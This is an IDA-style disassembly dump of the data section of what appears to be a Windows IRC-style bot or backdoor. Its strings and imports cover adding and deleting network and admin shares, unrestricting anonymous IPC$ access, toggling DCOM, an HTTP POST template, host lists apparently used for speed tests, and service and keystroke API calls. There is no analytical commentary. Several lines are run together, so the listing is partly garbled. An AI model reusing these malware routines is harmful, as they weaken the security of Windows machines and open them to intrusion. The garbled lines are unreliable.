		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1FailedToDelet	db '1 Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43CB94	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A4EB+263o
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1ShareSDeleted	db '1 Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_43CBD0	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A4EB:loc_41A6C5o
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1FailedToDel_0	db '1 Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43CC14	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A4EB+1D3o
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1ShareSDelet_0	db '1 Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_43CC50	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A4EB:loc_41A61Do
					; sub_41A811:loc_41A93Fo
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1Advapi32_dllC	db '1 Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43CC98	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A4EB:loc_41A616o
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1FailedToOpenI	db '1 Failed to open IPC$ Restriction registry key.',0
		align 10h
dword_43CCF0	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A4EB:loc_41A5FEo
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1RestrictedAcc	db '1 Restricted access to the IPC$ Share.',0
		align 10h
dword_43CD40	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A4EB+10Co
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1FailedToRestr	db '1 Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A4EB+EDo
					; sub_41A811+EDo
		align 4
dword_43CDA8	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A4EB+91o
					; sub_41A811+91o
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1FailedToOpenD	db '1 Failed to open DCOM registry key.',0
dword_43CDF0	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A4EB:loc_41A55Eo
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h, 43442031h
		dd 64204D4Fh, 62617369h, 2E64656Ch, 0
dword_43CE28	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A4EB+6Co
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1DisableDcomFa	db '1 Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A4EB+54o
					; sub_41A811+54o
		align 10h
dword_43CE70	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A811+2C5o
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1NetworkShar_0	db '1 Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A811+22Fo
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A811+21Eo
dword_43CEB8	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A811:loc_41A9BEo
					; sub_41A811:loc_41AA89o
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1FailedToAddSS	db '1 Failed to add ',27h,'%s',27h,' share.',0
dword_43CEF8	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A811+1A6o
					; sub_41A811+271o
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1ShareSAdded_	db '1 Share ',27h,'%s',27h,' added.',0
dword_43CF30	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A811:loc_41A938o
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1FailedToOpe_0	db '1 Failed to open IPC$ restriction registry key.',0
		align 8
dword_43CF88	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A811:loc_41A920o
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1UnrestrictedA	db '1 Unrestricted access to the IPC$ Share.',0
		align 4
dword_43CFD8	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A811+108o
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1FailedToUnres	db '1 Failed to unrestrict access to the IPC$ Share.',0
		align 10h
dword_43D030	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A811:loc_41A884o
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h, 43442031h
		dd 65204D4Fh, 6C62616Eh, 2E6465h
dword_43D064	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A811+6Co
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1EnableDcomFai	db '1 Enable DCOM failed.',0
		align 10h
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AB47+DEo
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dword_43D0D8	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41AD24+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41AD24+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41AD24+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41AD24+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41AD24+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41AD24+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41AD24+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41AD24+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41AD24+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41AD24+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41AD24+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41AD24+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41AD24+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41AD24+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41AD24+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41AD24+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41AD24+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41AD24+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41AD24+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41AD24+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41AD24+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41AD24+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41AD24+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41AD24+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41AD24+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41AD24+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41AD24+15o
		align 8
dword_43D2E8	dd 2C353103h, 0B7035B30h, 2343003h, 1F790253h, 69741F73h
					; DATA XREF: sub_41B0A1+297o
		dd 46026E02h, 20B7036Fh, 55504302h, 25203A02h, 75343649h
		dd 2E7A484Dh, 41520220h, 203A024Dh, 424B7325h, 746F7420h
		dd 202C6C61h, 424B7325h, 65726620h, 2202E65h, 6B736944h
		dd 25203A02h, 6F742073h, 2C6C6174h, 20732520h, 65657266h
		dd 4F02202Eh, 203A0253h, 646E6957h, 2073776Fh, 28207325h
		dd 252E6425h, 42202C64h, 646C6975h, 29642520h, 5302202Eh
		dd 69647379h, 203A0272h, 202E7325h, 736F4802h, 6D616E74h
		dd 203A0265h, 28207325h, 2E297325h, 75430220h, 6E657272h
		dd 73552074h, 3A027265h, 2E732520h, 61440220h, 3A026574h
		dd 2E732520h, 69540220h, 3A02656Dh, 2E732520h, 70550220h
		dd 656D6974h, 25203A02h, 2E73h
dword_43D3D0	dd 4D3A6464h, 793A4D4Dh, 797979haCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B0A1:loc_41B205o
		align 8
dword_43D3F8	dd 2C353103h, 0B7035B30h, 2343003h, 651F024Eh, 269741Fh
					; DATA XREF: sub_41B355+ABo
		dd 6F46026Eh, 220B703h,	65707954h, 25203A02h, 25282073h
		dd 202E2973h, 20504902h, 72646441h, 2737365h, 7325203Ah
		dd 4802202Eh, 6E74736Fh, 2656D61h, 7325203Ah, 2Eh
off_43D448	dd offset loc_412F4B+3	; DATA XREF: sub_41B355:loc_41B3C9o
off_43D44C	dd offset dword_4E414C	; DATA XREF: sub_41B355:loc_41B3C2o
dword_43D450	dd 6C616944h, 70752Dhdword_43D458	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_43D468	db    2			; DATA XREF: .XPack0:loc_41B5D8o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	34h, 91h
		db    3
		db 2, 56h, 2
		db  69h	; i
		db 73h,	69h, 2
		db  74h	; t
		db 2, 3, 30h
		db  34h	; 4
		db 2Ch,	3, 31h
		db  34h	; 4
		db 3Ah,	3, 34h
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43D4AC	db    2			; DATA XREF: .XPack0:loc_41B5D1o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	34h, 91h
		db    3
		db 2, 56h, 2
		db  69h	; i
		db 73h,	69h, 2
		db  74h	; t
		db 2, 3, 30h
		db  34h	; 4
		db 2Ch,	3, 31h
		db  34h	; 4
		db 3Ah,	3, 34h
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43D4EC	dd 35310302h, 25B302Ch,	91343003h, 2560203h, 2697369h
					; DATA XREF: .XPack0:0041B5C1o
		dd 30030274h, 31032C34h, 34033A34h, 2490220h, 611F766Eh
		dd 64696C1Fh, 2550220h,	4C1F521Fh, 2Eh,	0
unk_43D528	db    2			; DATA XREF: .XPack0:loc_41B5B4o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	34h, 91h
		db    3
		db 2, 56h, 2
		db  69h	; i
		db 73h,	69h, 2
		db  74h	; t
		db 2, 3, 30h
		db  34h	; 4
		db 2Ch,	3, 31h
		db  34h	; 4
		db 3Ah,	3, 34h
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43D578	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: .XPack0:0041B5ADo
		dd 64657469h, 2Eh
dword_43D594	dd 2A2F2Ah, 2 dup(0)dword_43D5A0	dd 0E7C2250h			align 10h
dword_43D5B0	dd 173Fh			dd 9875h, 9873h
off_43D5BC	dd offset sub_41CDB4	; DATA XREF: sub_41BDF4r
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0CDh, 41h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0CDh, 41h, 0
dword_43D5C8	dd 1B3Fh	dword_43D5CC	dd 19930520h, 4	dup(0)					; sub_41D2B6+2o
off_43D5E0	dd offset sub_41BE32	; DATA XREF: sub_41E0C9+1Cr
dword_43D5E4	dd 2							; sub_423C91+46r ...
		dd 10h,	0
off_43D5F0	dd offset off_43D5F0	; DATA XREF: sub_41F016+Do
					; sub_41F016+69o ...
off_43D5F4	dd offset off_43D5F0	; DATA XREF: sub_41F016:loc_41F096r
					; sub_41F016+89w ...
		dd offset dword_43D608
		dd offset dword_43D608
dword_43D600	dd 0FFFFFFFFh						; sub_41F15A:loc_41F1A7w
		dd 0FFFFFFFFh
dword_43D608	dd 0F0h, 0F1h, 800h dup(0)					; .XPack0:0043D5FCo
off_43F610	dd offset off_43D5F0	; DATA XREF: sub_41F15A+15r
					; sub_41F15A+20w ...
dword_43F614	dd 1E0h							; sub_41BB83:loc_41BBBFr ...
off_43F618	dd offset word_43F622	; DATA XREF: sub_41BD5E+23r
					; sub_41BD5E:loc_41BDBFr ...
off_43F61C	dd offset word_43F622	; DATA XREF: sub_4272F4+18r
		db 2 dup(0)
word_43F622	dw 20h			; DATA XREF: sub_425417+18r
					; .XPack0:off_43F618o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43F824	dd 1							; sub_41BD5E:loc_41BDAAr ...
byte_43F828	db 2Eh			; DATA XREF: sub_420BB0:loc_420EA4r
					; sub_420BB0+311r ...
		align 4
		dd 1
off_43F830	dd offset aNull_1	; DATA XREF: sub_41FD3F:loc_4200A3r
					; sub_41FD3F+457r
					; "(null)"
off_43F834	dd offset aNull_0	; DATA XREF: sub_41FD3F+259r
					; "(null)"
byte_43F838	db 1			; DATA XREF: sub_420549+E1r
		db 2, 4, 8
		align 10h
dword_43F840	dd 3A4h		dword_43F844	dd 82798260h, 21h, 0dword_43F850	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43F930	dd 1							; sub_420A7F+Co
dword_43F934	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43FA98	dd 0D2D0920h, 5Dh					; sub_420BB0:loc_421117o
dword_43FAA0	dd 5Dh,	0	dword_43FAA8	dd 14h		off_43FAAC	dd offset aExp		; DATA XREF: sub_421CC4:loc_421CE1r
					; "exp"
		dd 1Dh,	428860h, 1Ah, 42ED94h, 1Bh, 428858h, 1Fh, 428850h
		dd 13h,	428848h, 21h, 428840h, 0Eh, 428838h, 0Dh, 428830h
		dd 0Fh,	428828h, 10h, 428820h, 5, 428818h, 1Eh,	428814h
		dd 12h,	428810h, 20h, 42880Ch, 0Ch, 428804h, 0Bh, 4287FCh
		dd 15h,	4287F4h, 1Ch, 4287ECh, 19h, 4287E4h, 11h, 4287DCh
		dd 18h,	4287D4h, 16h, 4287CCh, 17h, 4287C4h, 22h, 4287C0h
		dd 23h,	4287BCh, 24h, 4287B8h
dbl_43FB80	dq 1.797693134862316e308 ; DATA	XREF: sub_4219FF+B7r
					; sub_4219FF:loc_421AE6r ...
		dd 0
		dd 0FFF80000h
dbl_43FB90	dq 1.797693134862316e308 ; DATA	XREF: sub_4219FF+92r
					; sub_4219FF:loc_421ABEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43FBA8	dt 2.3562723457267347066e313 ; DATA XREF: sub_421EAC+Dr
					; sub_421EAC+1Fr
		align 4
tbyte_43FBB4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_421EAC+31r
		align 10h
off_43FBC0	dd offset sub_422340	; DATA XREF: sub_41CDCC+Fw
					; sub_41FD3F+3AAr
off_43FBC4	dd offset sub_421FD5	; DATA XREF: sub_41CDCC+5w
					; sub_41FD3F+3E2r
off_43FBC8	dd offset sub_42203B	; DATA XREF: sub_41CDCC+14w
					; sub_420BB0+430r
off_43FBCC	dd offset sub_421F7B	; DATA XREF: sub_41CDCC+1Ew
					; sub_41FD3F+3CBr
off_43FBD0	dd offset sub_422023	; DATA XREF: sub_41CDCC+28w
off_43FBD4	dd offset sub_422340	; DATA XREF: sub_41CDCC+32w
		dd offset sub_424DDC
		align 10h
		dd offset sub_422BFC
off_43FBE4	dd offset sub_422BFC	; DATA XREF: sub_422C52+29r
dword_43FBE8	dd 0C0000005h						; sub_4234FA+11o ...
dword_43FBEC	dd 0Bh				dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43FC60	dd 3							; sub_426025+C8r
dword_43FC64	dd 7							; sub_426025+CDr
dword_43FC68	dd 0Ah							; sub_426152+4r
dword_43FC6C	dd 8Ch							; sub_4233B9+8Fw ...
dword_43FC70	dd 0FFFFFFFFh, 0A00h					; sub_41FC2A:loc_41FCE7o
dword_43FC78	dd 2							; sub_423C91+28r
off_43FC7C	dd offset aR6002FloatingP ; DATA XREF: sub_423C91+FCr
					; sub_423C91+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 428B7Ch, 9, 428B50h, 0Ah,	428B2Ch, 10h, 428B00h
		dd 11h,	428AD0h, 12h, 428AACh, 13h, 428A80h, 18h, 428A48h
		dd 19h,	428A20h, 1Ah, 4289E8h, 1Bh, 4289B0h, 1Ch, 428988h
		dd 78h,	428978h, 79h, 428968h, 7Ah, 428958h, 0FCh, 436F68h
		dd 0FFh, 428948h
off_43FD08	dd offset dword_4DE900	; DATA XREF: sub_423C91+1Bo
					; sub_423FFE+55o
		dd 0
		dd offset dword_4DE900
		dd 101h
dword_43FD18	dd 0FFFFFFFFh, 0		dd 1000h, 0
dword_43FD28	dd 3 dup(0)						; sub_420AE6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43FD48	dd 3 dup(0)						; sub_420AE6:loc_420B04o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43FD78	dd 84h dup(0)	dword_43FF88	dd 2 dup(0)	dword_43FF90	dd 2694h						; sub_4216B4+46r
		align 8
dword_43FF98	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_43FFB0	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_43FFC8	dd 7080h						; sub_424EBC+5Ew ...
dword_43FFCC	dd 1							; sub_424EBC+8Bw ...
dword_43FFD0	dd 0FFFFF1F0h						; sub_424EBC+94w ...
dword_43FFD4	dd 545350h, 0Fh	dup(0)dword_440014	dd 544450h, 0Fh	dup(0)off_440054	dd offset dword_43FFD4	; DATA XREF: sub_424EBC+BAr
					; sub_424EBC+D9r ...
off_440058	dd offset dword_440014	; DATA XREF: sub_424EBC+F4r
					; sub_424EBC+11Br ...
		align 10h
dword_440060	dd 0FFFFFFFFh						; sub_42511A+1Er ...
dword_440064	dd 0							; sub_4252C6+BFw
dword_440068	dd 0							; sub_4252C6+E0w
		align 10h
dword_440070	dd 0FFFFFFFFh						; sub_42511A+26r ...
dword_440074	dd 0							; sub_4252C6+EAw ...
dword_440078	dd 0							; sub_4252C6+23r ...
dword_44007C	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_4400AC	dd 16Dh							; sub_4252C6+2Er ...
dword_4400B0	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_4400E8	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_440248	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4264AA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_4403A4	dd offset off_428D50	; DATA XREF: .XPack0:00428F2Co
					; .XPack0:00429004o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_4403BC	dd offset off_428D50	; DATA XREF: .XPack0:off_428DE0o
					; .XPack0:00428E20o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_4403DC	dd offset off_428D50	; DATA XREF: .XPack0:off_428E28o
					; .XPack0:00428E6Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_4403FC	dd offset off_428D50	; DATA XREF: .XPack0:off_428E74o
					; .XPack0:00428EB8o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_440420	dd offset off_428D50	; DATA XREF: .XPack0:off_428EC0o
					; .XPack0:00428EFCo
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_424DDC
		dd 21h dup(0)
dword_4404C0	dd 0		byte_4404C4	db 0			; DATA XREF: sub_40111A+62o
					; sub_40121E+23Eo ...
		align 4
dword_4404C8	dd 0							; sub_401AA1+AB3o ...
		dd 5 dup(0)
dword_4404E0	dd 0							; sub_415E4D+60r
		dd 2D9h	dup(0)
dword_441048	dd 0							; sub_401AA1+5E5Dr ...
		dd 7Fh dup(0)
dword_441248	dd 0							; sub_40B38F+3Aw ...
dword_44124C	dd 0							; sub_40B38F+40w ...
dword_441250	dd 0							; sub_40B38F+34r ...
dword_441254	dd 0							; sub_4017BF+B9w ...
dword_441258	dd 0							; sub_40B56A+2Aw ...
dword_44125C	dd 0							; sub_40121E+441w ...
byte_441260	db 0			; DATA XREF: sub_4017BF+91o
					; sub_401AA1+5CB1r ...
		align 4
		dd 113Bh dup(0)
dword_445750	dd 473Ch dup(0)			db 0
byte_457441	db 3 dup(0)		; DATA XREF: .XPack0:off_43B4BCo
		dd 0E306h dup(0)
dword_49005C	dd 937Eh dup(0)			db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: .XPack0:off_433EA8o
		dd 0FBh	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: .XPack0:off_43B328o
		dd 3E7Fh dup(0)
dword_4C4C44	dd 2501h dup(0)	dword_4CE048	dd 0							; sub_40B254+13o ...
dword_4CE04C	dd 0							; sub_401AA1:loc_404433r ...
dword_4CE050	dd 0		dword_4CE054	dd 20h dup(0)						; sub_40121E+50Do ...
dword_4CE0D4	dd 10h dup(0)	dword_4CE114	dd 24h dup(0)	dword_4CE1A4	dd 0							; sub_40121E+524w ...
dword_4CE1A8	dd 0				dd 2 dup(0)
byte_4CE1B4	db 0			; DATA XREF: sub_401925+28r
					; sub_401925+30o
		align 4
dword_4CE1B8	dd 0							; sub_40121E+4E2r ...
dword_4CE1BC	dd 0							; sub_401AA1+869r
dword_4CE1C0	dd 0							; .XPack0:0040AE49o ...
dword_4CE1C4	dd 0		; resolved to->GDI32.DeleteDC					; sub_4097DE+4EBr
dword_4CE1C8	dd 0		; resolved to->KERNEL32.Module32First					; sub_419D3A+156r
dword_4CE1CC	dd 0		; resolved to->WININET.InternetGetConnectedStateExA					; sub_4097DE+880r ...
dword_4CE1D0	dd 0							; sub_4097DE+A43r ...
dword_4CE1D4	dd 0							; sub_4097DE+A13r ...
dword_4CE1D8	dd 0		; resolved to->GDI32.SelectObject					; sub_4097DE+4DBr
dword_4CE1DC	dd 0		; resolved to->USER32.GetKeyState					; sub_4097DE+234r ...
dword_4CE1E0	dd 0							; sub_4097DE+A3Br ...
dword_4CE1E4	dd 0		; resolved to->ADVAPI32.OpenServiceA					; sub_4097DE+3C7r ...
dword_4CE1E8	dd 0		; resolved to->ADVAPI32.GetUserNameA					; sub_41B0A1+11Er
dword_4CE1EC	dd 0		; resolved to->ADVAPI32.StartServiceA					; sub_4097DE+3CFr ...
dword_4CE1F0	dd 0		; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_419332+ADr
dword_4CE1F4	dd 0		; resolved to->WS2_32.__WSAFDIsSet					; sub_40FDBE+115r ...
dword_4CE1F8	dd 0		; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_4097DE+D2r ...
dword_4CE1FC	dd 0							; sub_4097DE+A06r ...
dword_4CE200	dd 0		; resolved to->ADVAPI32.CloseServiceHandle					; sub_4097DE+3E7r ...
